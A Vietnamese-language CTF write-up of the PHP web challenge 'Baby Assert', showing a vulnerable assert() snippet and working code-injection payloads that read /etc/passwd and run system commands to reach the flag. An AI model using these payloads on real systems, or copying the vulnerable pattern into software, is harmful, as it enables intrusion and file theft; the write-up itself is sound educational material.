Post

Write-Up Baby Assert

Địa chỉ : Baby Assert

Challenge Detail

Trong PHP, có rất nhiều cách để thay thế lệnh điều khiển If Else. Tuy nhiên, không phải lập trình viên nào cũng lường trước được những hậu quả nghiêm trọng khi sử dụng và thiết lập những tham số an toàn trên môi trường Production.

Tags

  • php
  • Assert
  • Code Injection

Web Analysis:

  • Tại /index.php trang web:

Có 3 Nút home, about và Secret mình xem thử từng cái.

Untitled

Ta thấy ở trang web có 1 parameter ?page= ngay lúc này mình đã test về lỗi LFI ( ../ , ….//) tuy nhiên nó đã không thực thi.

Quan sát thì web có gợi ý 1 đoạn code của trang web này:

1
2
3
$file = "pages/" . $page . ".php";
assert(...$file...) or die("Detected hacking attempt!");
require_once $file;

Lúc này mình thấy có hàm assert có vẻ kì lạ…

  • Tại ABOUTtrang web:

Untitled

Không có gì đặc biệt.

  • Tại SECRET trang web:

Untitled

Ta thấy file flag được đặt tên + thêm ký tự random. Vậy cho dù mình có thực thi được ../ lỗi LFI thì cũng không thể biết được tên cụ thể của file flag mà xem được. Nên phải RCE hệ thống.

+1dea: RCE

PHÂN TÍCH ASSERT

Ở lúc này thì mình chưa biết về hàm assert hoạt động như thế nào và tìm hiểu nó.

Untitled

Untitled

chi tiết ở : how assertions can get you hacked

Vậy thì giải thích sơ

**Assert()** là một hàm đánh giá một biểu thức PHP nhất định và nếu biểu thức đánh giá là false, nó sẽ tạo ra một thông báo cảnh báo hoặc gây ra lỗi nghiêm trọng tùy thuộc vào cấu hình PHP. Nó thường được sử dụng cho mục đích gỡ lỗi và thử nghiệm.

Tuy nhiên, assert()có thể trở thành rủi ro bảo mật khi sử dụng không đúng cách, đặc biệt khi dữ liệu do người dùng kiểm soát được truyền trực tiếp vào chức assert()năng mà không được xác thực hoặc khử trùng thích hợp.

Exploiting Assert()

PAYLOAD AT HACKTRICK : CLICK

Untitled

ở đây để RCE thì ta inject vào 1 chuổi và +PHP

thì nó có thể thực thi command như là webshell

Thử nghiệm

1
2
PAYLOAD:
' and die(show_source('/etc/passwd')) or 

Untitled

Nó đã thực thi được payload của chúng ta tuy nhiên không biết file flag tên gì nên mình phải RCE.

1
2
PAYLOAD:
' and die(system("whoami")) or '

Untitled

THÀNH CÔNG RỒI

việc còn lại là xem file FLag

Untitled

Untitled

DONE =)))

Written by Ren

This post is licensed under CC BY 4.0 by the author.

Trending Tags